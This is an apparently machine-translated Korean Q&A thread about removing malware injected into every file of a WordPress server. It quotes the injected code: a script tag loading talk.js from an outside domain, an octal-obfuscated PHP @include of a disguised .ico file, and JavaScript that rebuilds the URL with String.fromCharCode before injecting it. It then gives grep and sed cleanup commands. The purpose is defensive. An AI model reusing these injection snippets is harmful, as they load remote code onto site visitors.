내 서버 전체가 해킹 당했거나 멀웨어 문제가 발생했습니다. 내 사이트는 WordPress를 기반으로하며 서버에서 호스팅되는 대부분의 사이트는 WordPress를 기반으로합니다. 해커는이 코드 줄을 모든 단일 파일과 데이터베이스에 추가했습니다.
<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>
나는 grep을 통해 그것을 사용하여 검색했다.
grep -r "trasnaltemyrecords" /var/www/html/{*,.*}
파일 구조 전체에서 파일을 바꾸려고 sed
하고 다음 명령을 작성했습니다.
sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php
index.php
먼저 단일 파일의 문자열을 바꾸려고 하므로 작동한다는 것을 알고 있습니다.
내 코드가 잘못되었다는 것을 알고 있습니다. 이것 좀 도와주세요.
@Eran의 코드를 사용해 보았고 예상대로 전체 줄을 삭제했습니다. 그러나 총 전문 용어는 이것입니다
/*ee8fa*/
@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";
/*ee8fa*/
그리고 모든 내용을 삭제하고 싶지만 php 여는 태그를 유지하고 싶습니다 <?php
.
@ slybloty의 솔루션은 쉽지만 효과적이었습니다.
영향을받는 모든 파일에서 코드를 완전히 제거하십시오. 나는 다음과 같은 3 가지 명령을 실행하고 있습니다.
find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g"
-스크립트 줄을 제거하려면find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'
-@include
라인 을 제거하려면find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d'
-주석 줄을 제거하려면
또한 '*.html'
해커의 스크립트가 모든 디렉토리에 원치 않는 index.html을 생성했기 때문에에 대한 세 가지 명령을 모두 다시 실행했습니다 . 이러한 index.html을 대량으로 삭제하는 것이 올바른 방법인지 확실하지 않았습니다.
지금도 여전히 정크 파일과 그 흔적을 알아 내야합니다.
해커 스크립트는 JS 코드도 추가했습니다.
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}
내가 할 수 있는지 확인하려고합니다 sed
.
while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})"
이 -l
옵션은 일치하는 텍스트가 아닌 파일 이름 만 제공합니다.
sed -i
합니다. 예를 들어, 편집 된 모든 파일에 sed -i.bak
대한 *.bak
파일을 만듭니다 . while...grep
루프 와 함께 사용하면 해당 문자열이 포함 된 파일 만 백업됩니다. 모든 추가 의견에 대해 죄송하지만 제 생각에 맬웨어는 "모든 실습"시나리오입니다.